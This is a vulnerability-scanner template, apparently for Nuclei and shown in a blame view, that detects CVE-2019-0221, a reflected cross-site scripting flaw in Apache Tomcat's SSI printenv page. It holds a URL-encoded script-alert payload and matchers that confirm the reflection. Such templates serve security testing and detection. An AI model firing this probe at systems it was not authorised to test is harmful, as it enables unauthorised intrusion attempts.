2021-03-05 14:38:39 +00:00
|
|
|
id: CVE-2019-0221
|
|
|
|
|
|
|
|
info:
|
|
|
|
name: Apache Tomcat XSS
|
|
|
|
author: pikpikcu
|
|
|
|
severity: low
|
|
|
|
reference: https://nvd.nist.gov/vuln/detail/CVE-2019-0221
|
|
|
|
description: |
|
|
|
|
The SSI printenv command in Apache Tomcat 9.0.0.M1 to 9.0.0.17, 8.5.0 to 8.5.39 and
|
|
|
|
7.0.0 to 7.0.93 echoes user provided data without escaping and is,
|
|
|
|
therefore, vulnerable to XSS. SSI is disabled by default.
|
|
|
|
The printenv command is intended for debugging and is unlikely to be present in a production website.
|
2021-03-06 02:04:44 +00:00
|
|
|
tags: cve,cve2019,apache,xss
|
2021-03-05 14:38:39 +00:00
|
|
|
|
|
|
|
requests:
|
|
|
|
- method: GET
|
|
|
|
path:
|
|
|
|
- "{{BaseURL}}/printenv.shtml?%3Cscript%3Ealert(%27xss%27)%3C/script%3E"
|
|
|
|
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
|
|
|
|
- type: word
|
|
|
|
words:
|
|
|
|
- "<script>alert('xss')</script>"
|
2021-03-06 05:58:28 +00:00
|
|
|
|
|
|
|
- type: word
|
|
|
|
words:
|
|
|
|
- "text/html"
|
|
|
|
part: header
|
2021-03-05 14:38:39 +00:00
|
|
|
|
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|